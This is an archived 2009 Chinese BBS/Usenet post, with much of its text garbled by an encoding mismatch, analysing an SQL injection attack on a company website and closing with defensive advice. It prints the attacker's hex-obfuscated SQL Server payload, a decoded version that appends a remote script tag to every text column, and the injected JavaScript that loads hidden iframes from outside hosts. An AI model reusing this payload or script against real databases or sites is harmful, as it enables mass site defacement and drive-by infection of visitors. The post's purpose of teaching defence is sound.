🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: cn.bbs.comp.database
Article #195

SQLע�밸���ع�zz

#195
From: Galaxy��VOLUNTEERS��Database
Date: Tue, 28 Jul 2009 12:20
93 lines
6269 bytes
http://www.cnblogs.com/Ryu666/archive/2009/07/28/1533248.html

���չ�˾��վ�����������˽���SQLע�빥�������������ع⣬�ڱ�����Щ����֮������
֮�ٵ�ͬʱ��������߰�ȫ��ʶ��

��־��¼�����������
Url��/(x(1)a(eq2io1uyygekaaaanwqxmge4ywytzwy5yi00ytbjlwjlmdatotllmtlmodaym2m5
lcndikok9dche5rd2s_rxyhp43i1))/production/prodetail.aspx��SQLע�빥����e7fa47
d3-5822-486f-a148-a77b8fd3802f;dEcLaRe @s vArChAr(8000) sEt 
@s=0x4465636c617265204054205661726368617228323535292c404320566172636861722832
3535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f7220536
56c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c53
7973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e587479706
53d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220
422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655
f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f722049
6e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696
e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d5274
72696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b272
73c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f73
63726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7
220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f7220446561
6c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

�򵥽�˵һ�£��Ǻǡ�
��һ�����ע���ֶ�һ��ǰ�����;(�ֺţ����ڽ���ǰһ�����)����߼���--(��
��ע�ͺ�ߵ����)
����������˸� @s���ؼ�����ˣ�ʹ���˱���ķ�ʽ��sql�����һ�󴮡����߰�
�㡱�Ķ�����Ȼ��ͨ��exec����ִ�С���̬��SQL���������нű������ӱ��˶Թؼ�����
��ļ�顣
�������л��������ǶѶ��������������
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For 
Select A.Name,B.Name 
From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And 
(B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor 
Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin 
Exec('update ['+@T+'] Set 
['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script 
src=http://8f8el3l.cn/0.js></script>''')Fetch Next From  Table_Cursor Into 
@T,@C End Close Table_Cursor Deallocate Table_Cursor
���к���е�ÿ�����ÿ����¼�������<script 
src=http://8f8el3l.cn/0.js></script>��νű���
�ű������������
document.writeln(" <base onmouseover=\"window.status=\'���                  
                                \';return true\">"); 
document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> "); 
document.writeln(" <!-- Hide "); 
document.writeln("function killErrors() { "); 
document.writeln("return true; "); 
document.writeln("} "); 
document.writeln("window.onerror = killErrors; "); 
document.writeln("\/\/ --> "); 
document.writeln(" <\/SCRIPT>"); 
function Get(){ 
var Then = new Date() 
Then.setTime(Then.getTime() + 800) 
var cookieString = new String(document.cookie) 
var cookieHeader = "Cookie1a01ab2=" 
var beginPosition = cookieString.indexOf(cookieHeader) 
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString() 
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 
height=0></iframe>");
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 
height=0></iframe>");
} 
}Get(); 

���������ᷢ��ʲô�¾Ͳ����ٶ�˵�ˡ�


��������Щ������ʩ��ȻҲ�dz��ü����
1.��Ҫִ�е�SQL���ʹ�ò�������װ������ݣ���Ҫ���ַ���ʽ����SQL����ֱ��
���У��ر���Internet����������Ϊ�򵥵İ��ı���ij�������һ�£������Ǹ�������
ʲô�Ϳ������´��ˡ�
2.��������Ҫ���е�SQL������ؼ��ּ�顣����ҲҪ�úÿ�����Ҫ������Щ�ؼ���ඣ�
���ϱ����ӣ�������update����û�õ�ඡ�
3.ͨ���Httpģ�飬��ǿ�������ݰ�ȫ�Ĵ���ඡ�

����ľ�������һ����̽��ඡ�

�����һ���������ع���Щ����Ϊ�˽̴����ô��SQLע�룬�������Ѵ�Ҽ�ǿ��ȫ��ʶ
����һ�α���ֻ���ƻ����㽨����ˣ��ٿ�̾һ�䣺Ϊʲô����ô�б��µ��˲�������
��������£��������ʱ�����о��Ա����к����Լ�������¡�
 
--
Welcome to Database Board
��ӭ������ݿ��
http://bbs.sjtu.edu.cn/bbsdoc?board=database

�� ��Դ:����ˮ˼Դ bbs.sjtu.edu.cn��[FROM: 58.35.151.99]
Technical Details
Message-ID: <4hBcaQ$c8k@bbs.sjtu.edu.cn>
Path: arc1-ca.pugleaf.net!g2news2.google.com!news1.google.com!news.glorb.com!newsgate.cuhk.edu.hk!news.cn99.com!news.shec6.edu.cn!SJTU

Show Full Headers
Complete Article Headers
X-Google-Thread: 4df683fd51,9d4ac44eb84552f1,start
X-Google-Attributes: gid4df683fd51,public,usenet
X-Google-NewGroupId: yes
X-Google-Language: Chinese,GB
Path: arc1-ca.pugleaf.net!g2news2.google.com!news1.google.com!news.glorb.com!newsgate.cuhk.edu.hk!news.cn99.com!news.shec6.edu.cn!SJTU
From: Dem.bbs@bbs.sjtu.edu.cn (Galaxy��VOLUNTEERS��Database)
Newsgroups: cn.bbs.comp.database
Subject: SQLע�밸���ع�zz
Date: 28 Jul 2009 12:20:00 GMT
Organization: ��ˮ˼Դ
Message-ID: <4hBcaQ$c8k@bbs.sjtu.edu.cn>
Mime-Version: 1.0
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: 8bit
X-Filename: database/M.1248783578.A